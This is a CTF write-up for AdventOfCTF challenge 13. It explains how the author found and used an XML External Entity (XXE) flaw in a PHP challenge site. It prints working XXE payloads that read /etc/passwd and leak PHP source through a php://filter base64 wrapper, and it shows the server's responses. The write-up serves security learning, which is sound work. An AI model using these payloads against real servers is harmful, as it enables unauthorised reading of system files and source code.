+++ author = "Maik de Kruif" title = "XML" subtitle = "Challenge 13 - AdventOfCTF" date = 2020-12-14T18:48:28+01:00 description = "A writeup for challenge 13 of AdventOfCTF." cover = "img/writeups/adventofctf/2020/24e9ce8f146f70b4189f1d2532a75208.png" tags = [ "AdventOfCTF", "challenge", "ctf", "hacking", "writeup", "web", "php", ] categories = [ "ctf", "writeups", "hacking", ] aliases = [ "challenge_13" ] +++ - Points: 1300 ## Description Lucky number 13! It is like the nightmare before Christmas, except this thing has given many developers nightmares since the late '90s. The flag is in flag.php. URL: <https://13.adventofctf.com> ## Finding the vulnerability Upon opening the challenge's website, we're greeted with the following text: "No content" "This is the result of your POST". This means we probably have to send a `POST` request to the website. ### Sending a POST request To create a `POST` request we can use the Repeater functionality in [Burp Suite](https://portswigger.net/burp) or use cURL like so: ```bash curl -X POST -d 'variable=test' https://13.adventofctf.com ``` When executing this cURL command, we get some output back: ```html <b>Warning</b>: DOMDocument::loadXML(): Start tag expected, '<' not found in Entity, line: 1 in <b>/var/www/html/index.php</b> on line <b>40</b><br /> <br /> <b>Warning</b>: simplexml_import_dom(): Invalid Nodetype to import in <b>/var/www/html/index.php</b> on line <b>41</b><br /> <br /> <b>Fatal error</b>: Uncaught Error: Call to a member function asXML() on null in /var/www/html/index.php:43 Stack trace: #0 {main} thrown in <b>/var/www/html/index.php</b> on line <b>43</b><br /> ``` We can see that PHP is trying to load XML. If we look for XML vulnerabilities on the internet we find XXE. ### XML External Entity An XML External Entity (XXE) attack is an attack in which we can leverage XML to leak information about the server. This attack occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser. So, let's try to use an XXE attack on this challenge. An easy way to check for a possible XXE vulnerability is the following: ```xml <?xml version="1.0"?> <!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]> <root>&test;</root> ``` This bit of XML tries to load the contents of `/etc/passwd` and then puts it in the XML. Because the challenge website shows us the result of our `POST` request, this is then put in the HTML shown to us. In this case, it returned the following: ```xml <?xml version="1.0"?> <!DOCTYPE root [ <!ENTITY test SYSTEM "file:///etc/passwd"> ]> <root>root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin </root> ``` This means our XXE attack worked and we can now try to get the flag. ## Getting the flag Let's try to use the previous attack but with the flag file: ```xml <?xml version="1.0"?> <!DOCTYPE root [<!ENTITY test SYSTEM 'file:///var/www/html/flag.php'>]> <root>&test;</root> ``` We get a big error: {{< collapsible-block badge="html" title="Error message" >}} ```html <br /> <b>Warning</b>: DOMDocument::loadXML(): StartTag: invalid element name in file:///var/www/html/flag.php, line: 1 in <b>/var/www/html/index.php</b> on line <b>40</b><br /> <br /> <b>Warning</b>: DOMDocument::loadXML(): Opening and ending tag mismatch: link line 11 and head in file:///var/www/html/flag.php, line: 19 in <b>/var/www/html/index.php</b> on line <b>40</b><br /> <br /> <b>Warning</b>: DOMDocument::loadXML(): Opening and ending tag mismatch: img line 57 and div in file:///var/www/html/flag.php, line: 58 in <b>/var/www/html/index.php</b> on line <b>40</b><br /> <br /> <b>Warning</b>: DOMDocument::loadXML(): Opening and ending tag mismatch: div line 21 and body in file:///var/www/html/flag.php, line: 73 in <b>/var/www/html/index.php</b> on line <b>40</b><br /> <br /> <b>Warning</b>: DOMDocument::loadXML(): Opening and ending tag mismatch: body line 20 and html in file:///var/www/html/flag.php, line: 74 in <b>/var/www/html/index.php</b> on line <b>40</b><br /> <br /> <b>Warning</b>: DOMDocument::loadXML(): Premature end of data in tag meta line 8 in file:///var/www/html/flag.php, line: 75 in <b>/var/www/html/index.php</b> on line <b>40</b><br /> <br /> <b>Warning</b>: DOMDocument::loadXML(): Premature end of data in tag meta line 7 in file:///var/www/html/flag.php, line: 75 in <b>/var/www/html/index.php</b> on line <b>40</b><br /> <br /> <b>Warning</b>: DOMDocument::loadXML(): Premature end of data in tag meta line 5 in file:///var/www/html/flag.php, line: 75 in <b>/var/www/html/index.php</b> on line <b>40</b><br /> <br /> <b>Warning</b>: DOMDocument::loadXML(): Premature end of data in tag meta line 4 in file:///var/www/html/flag.php, line: 75 in <b>/var/www/html/index.php</b> on line <b>40</b><br /> <br /> <b>Warning</b>: DOMDocument::loadXML(): Premature end of data in tag head line 3 in file:///var/www/html/flag.php, line: 75 in <b>/var/www/html/index.php</b> on line <b>40</b><br /> <br /> <b>Warning</b>: DOMDocument::loadXML(): Premature end of data in tag html line 2 in file:///var/www/html/flag.php, line: 75 in <b>/var/www/html/index.php</b> on line <b>40</b><br /> <br /> <b>Warning</b>: DOMDocument::loadXML(): chunk is not well balanced in file:///var/www/html/flag.php, line: 75 in <b>/var/www/html/index.php</b> on line <b>40</b><br /> <br /> <b>Warning</b>: DOMDocument::loadXML(): Failure to process entity test in Entity, line: 3 in <b>/var/www/html/index.php</b> on line <b>40</b><br /> <br /> <b>Warning</b>: DOMDocument::loadXML(): Entity 'test' not defined in Entity, line: 3 in <b>/var/www/html/index.php</b> on line <b>40</b><br /> <br /> <b>Warning</b>: simplexml_import_dom(): Invalid Nodetype to import in <b>/var/www/html/index.php</b> on line <b>41</b><br /> <br /> <b>Fatal error</b>: Uncaught Error: Call to a member function asXML() on null in /var/www/html/index.php:43 Stack trace: #0 {main} thrown in <b>/var/www/html/index.php</b> on line <b>43</b><br /> ``` {{< /collapsible-block >}} We probably got it because PHP is actually handling the PHP file as a PHP file 😀. This means we have to get it in some other way. To do this, we can use the same method as we used in [challenge 11]({{< ref "challenge_11.md" >}}). There we used the PHP filter `convert.base64-encode` which converts it's input to base64. We can use it like so: ```xml <?xml version="1.0"?> <!DOCTYPE root [<!ENTITY test SYSTEM 'php://filter/convert.base64-encode/resource=flag.php'>]> <root>&test;</root> ``` If we create a `POST` request with this as the input, we get the following result: ```xml <?xml version="1.0"?> <!DOCTYPE root [ <!ENTITY test SYSTEM "php://filter/convert.base64-encode/resource=flag.php"> ]> <root>PCFkb2N0eXBlIGh0bWw+CjxodG1sIGNsYXNzPSJuby1qcyIgbGFuZz0iIj4KICAgIDxoZWFkPgogICAgICAgIDxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4KICAgICAgICA8bWV0YSBodHRwLWVxdWl2PSJ4LXVhLWNvbXBhdGlibGUiIGNvbnRlbnQ9ImllPWVkZ2UiPgogICAgICAgIDx0aXRsZT5BZHZlbnQgb2YgQ1RGIDEzPC90aXRsZT4KICAgICAgICA8bWV0YSBuYW1lPSJkZXNjcmlwdGlvbiIgY29udGVudD0iIj4KICAgICAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEiPgoKICAgICAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Ii9zdHlsZS5jc3MiIHR5cGU9InRleHQvY3NzIiBtZWRpYT0ic2NyZWVuIiAvPgogICAgICAgIDxsaW5rIHJlbD0ic3R5bGVzaGVldCIgaHJlZj0iaHR0cHM6Ly91c2UuZm9udGF3ZXNvbWUuY29tL3JlbGVhc2VzL3Y1LjYuMy9jc3MvYWxsLmNzcyIgaW50ZWdyaXR5PSJzaGEzODQtVUhSdFpMSStwYnh0SENXcDF0NzdCaTFMNFp0aXFycUQ4MEtuNFo4TlRTUnlNQTJGZDMzbjVkUThsV1VFMDBzLyIgY3Jvc3NvcmlnaW49ImFub255bW91cyI+CiAgICAgICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vYWpheC5nb29nbGVhcGlzLmNvbS9hamF4L2xpYnMvanF1ZXJ5LzMuMi4xL2pxdWVyeS5taW4uanMiPjwvc2NyaXB0PgogICAgICAgIDxzdHlsZT4KICAgICAgICAgLnJvdy1tYXJnaW4tMDUgeyBtYXJnaW4tdG9wOiAwLjVlbTsgfQogICAgICAgICAucm93LW1hcmdpbi0xMCB7IG1hcmdpbi10b3A6IDEuMGVtOyB9CiAgICAgICAgIC5yb3ctbWFyZ2luLTIwIHsgbWFyZ2luLXRvcDogMi4wZW07IH0KICAgICAgICAgLnJvdy1tYXJnaW4tMzAgeyBtYXJnaW4tdG9wOiAzLjBlbTsgfQogICAgICAgIDwvc3R5bGU+CiAgICA8L2hlYWQ+CiAgICA8Ym9keT4KICAgICAgICA8ZGl2IGNsYXNzPSJqdW1ib3Ryb24gYmctdHJhbnNwYXJlbnQgbWItMCByYWRpdXMtMCI+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbnRhaW5lciI+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJyb3ciPgogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC14bC02IG14LWF1dG8iPgogICAgICAgICAgICAgICAgICAgICAgICA8aDEgY2xhc3M9ImRpc3BsYXktMiI+QWR2ZW50IG9mIENURiA8c3BhbiBjbGFzcz0idmltLWNhcmV0Ij4xMzwvc3Bhbj48L2gxPgogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJsZWFkIG1iLTMgdGV4dC1tb25vIHRleHQtd2FybmluZyI+WW91ciBkYWlseSBkb3NlIG9mIENURiBmb3IgRGVjZW1iZXI8L2Rpdj4KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0icm93Ij4KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb2wteGwtNiBteC1hdXRvIj4KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY2FyZCB0ZXh0LWNlbnRlciI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjYXJkLWhlYWRlciI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSXMgdGhpcyB0aGUgZW5kIG9mIHlvdXIgbmlnaHRtYXJlPwogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjYXJkLWJvZHkiPgoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cD5IZXJlIGlzIHlvdXIgZmxhZzogPC9wPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGZsYWcgPSAiTk9WSXs8eG1sPm5pZ2h0bWFyZXM8L3htbD59IjsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICJXaG9hYWEuLi4gbm90IHRoYXQgZWFzeS4iOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID8+CgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjYXJkLWZvb3RlciI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBpZD0icmVzdWx0Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0icm93IHJvdy1tYXJnaW4tMzAiPgogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC14bC02IG14LWF1dG8iPgogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjYXJkIG1iLTMgdGV4dC1jZW50ZXIgYmctZGFyayB0ZXh0LXdoaXRlIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNhcmQtYm9keSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0icm93Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29sLW1kLTIiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGltZyBzcmM9Ii9sb2dvLnBuZyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb2wtbWQtOSBvZmZzZXQtbWQtMSBhbGlnbi1taWRkbGUiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHAgY2xhc3M9InRleHQtY2VudGVyIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0iYWxpZ24tbWlkZGxlIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgVGhlIEFkdmVudCBvZiBDVEYgaXMgYnJvdWdodCB0byB5b3UgYnkgPGEgaHJlZj0iaHR0cDovL3d3dy5ub3ZpLm5sIj5OT1ZJIEhvZ2VzY2hvb2w8L2E+LiBJdCBpcyBidWlsdCBieSA8YSBocmVmPSJodHRwczovL3R3aXR0ZXIuY29tL2NyZWRtcC8iIGNsYXNzPSJpY29Ud2l0dGVyIiB0aXRsZT0iVHdpdHRlciI+PGkgY2xhc3M9ImZhYiBmYS10d2l0dGVyIj48L2k+IEBjcmVkbXA8L2E+LiBJZiB5b3UgYXJlIGxvb2tpbmcgZm9yIGEgRHV0Y2ggQ3liZXIgU2VjdXJpdHkgQmFjaGVsb3IgZGVncmVlIG9yIGJvb3RjYW1wLCA8YSBocmVmPSJodHRwczovL3d3dy5ub3ZpLm5sIj5jaGVjayB1cyBvdXQ8L2E+LgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvc3Bhbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgPC9kaXY+CiAgICA8L2JvZHk+CjwvaHRtbD4K</root> ``` ## Solution As we can see there is a big base64 encoded string. If we decode this and remove the template HTML from it, we're left with the following: ```html <p>Here is your flag: </p> <?php $flag = "NOVI{<xml>nightmares</xml>}"; echo "Whoaaa... not that easy."; ?> ``` We got the flag! It's `NOVI{<xml>nightmares</xml>}`. This flag can then be submitted for the [challenge](https://ctfd.adventofctf.com/challenges#13-14).